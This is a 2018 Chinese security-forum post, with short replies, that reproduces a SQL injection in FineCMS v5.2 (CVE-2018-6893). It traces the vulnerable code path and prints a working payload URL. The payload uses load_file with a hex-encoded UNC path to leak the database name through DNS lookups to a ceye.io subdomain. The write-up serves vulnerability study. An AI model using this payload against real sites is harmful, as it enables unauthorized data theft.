用户
搜索

该用户从未签到

i春秋-脚本小子

Rank: 2

2

主题

22

帖子

44

魔法币
收听
1
粉丝
1
注册时间
2018-3-13
发表于 2018-3-28 11:08:21 58149
这次复现的是Finecms v5.2版本存在的一个SQL注入漏洞(CVE-2018-6893),看到这个漏洞的介绍是在先知社区,因为这个漏洞用到了SQL注入的一个技巧,使用DNS解析记录带出数据库信息,自己第一次见,就复现了一下,原文中也没有写怎么使用DNS注入这个技巧,折腾了许久才搞出来,完整复现过程如下:

       首先肯定是下载Finecms v5.2,源代码度娘一下就有了,安装需要mcrypt扩展,以及将网站根目录设置为v5目录
       漏洞位置在 finecms/dayrui/controllers/member/Api.php
      1.png
     获取了id,title,module参数,并对module参数使用了count_all_results函数处理
     跟进count_all_results函数,finecms\system\database\DB_query_builder.php  1395行
      2.png
进行了是否为空的校验以及两个函数的处理,继续跟进_track_aliases函数,当前文件2263行
    3.png
这里对参数进行了一些判断,并进行了拆分成数组,以及是否有as关键字,并进行替换,然后看from函数,当前文件427行
    4.png
可以看到这两个函数其实并没有过滤很多东西,都是对输入字段的拆分处理
------------------------------------------------------分割线---------------------
然后在进行实际测试的时候发现,如果传入的module参数不对,会爆出sql语句的错误信息,同时可以看到查询的sql语句。且参数值会被加上fn_的表前缀,位于from的位置,
我们可以通过使用逗号分割查询的表,并且使用DNS外带数据的方式获取数据库信息(这里其实可以延时注入,但是太慢了)
我们这里要用到知道创宇的一个网站ceye.io,这个网站可以帮助我们快速进行DNS类型的sql注入(我最开始还傻傻的自己去搭DNS服务器...折腾了一天)
首先打开ceye.io,然后选择登录
    5.png
登录账号可以直接使用知道创宇的账号,没有的就注册一个
登录之后在个人信息的页面可以看到一个随机的二级域名
    6.png
这个二级域名就是我们即将写入sql注入语句中用来解析的域名
    7.png
回到finecms,那么在这里我们的payload就可以写成
http://www.focus.com/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(selectload_file(concat(0x5c5c5c5c,database(),0x2e6e65766a32372e636579652e696f5c5c616461)))as total(在先知的那个文章的payload 后面多了一个后括号
回车之后我们 就可以在ceye.ioDNSQuery中查看结果
8.png
可以看到dns信息带出了数据库的名称,接下来就是普通的sql注入步骤了
Ps:可能多试几次之后会发现没有回显了,多半是DNS缓存了,需要清理一下DNS缓存
Windows:ipconfig/flushdns
Linux:/etc/init.d/dns-clean start
至此,漏洞复现完毕
(第一次写,瑟瑟发抖)

发表于 2018-3-29 15:39:25
特别想知道参数的构建过程
使用道具 举报 回复
crZh 发表于 2018-3-29 15:39
特别想知道参数的构建过程

就是这个DNS注入的语句都是这样的,只是中间的database()改变就好了。这里加逗号和括号括起来是因为注入的语句是在from后面,而不是普通的在查询参数的位置
使用道具 举报 回复
发表于 2018-3-29 22:59:10
vegetables_bird 发表于 2018-3-29 21:07
就是这个DNS注入的语句都是这样的,只是中间的database()改变就好了。这里加逗号和括号括起来是因为注 ...

感谢回复。s=member&c=api&m=checktitle&id=13&title=123&module=xxx,这一串参数是怎么构造的,调用过程是怎么分析出来的呢
使用道具 举报 回复
发表于 2018-3-29 22:59:55
vegetables_bird 发表于 2018-3-29 21:07
就是这个DNS注入的语句都是这样的,只是中间的database()改变就好了。这里加逗号和括号括起来是因为注 ...

感谢回复。s=member&c=api&m=checktitle&id=13&title=123&module=xxx,这一串参数是怎么构造的,调用过程是怎么分析出来的呢
使用道具 举报 回复
发表于 2018-10-6 16:11:19
支持一下~
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册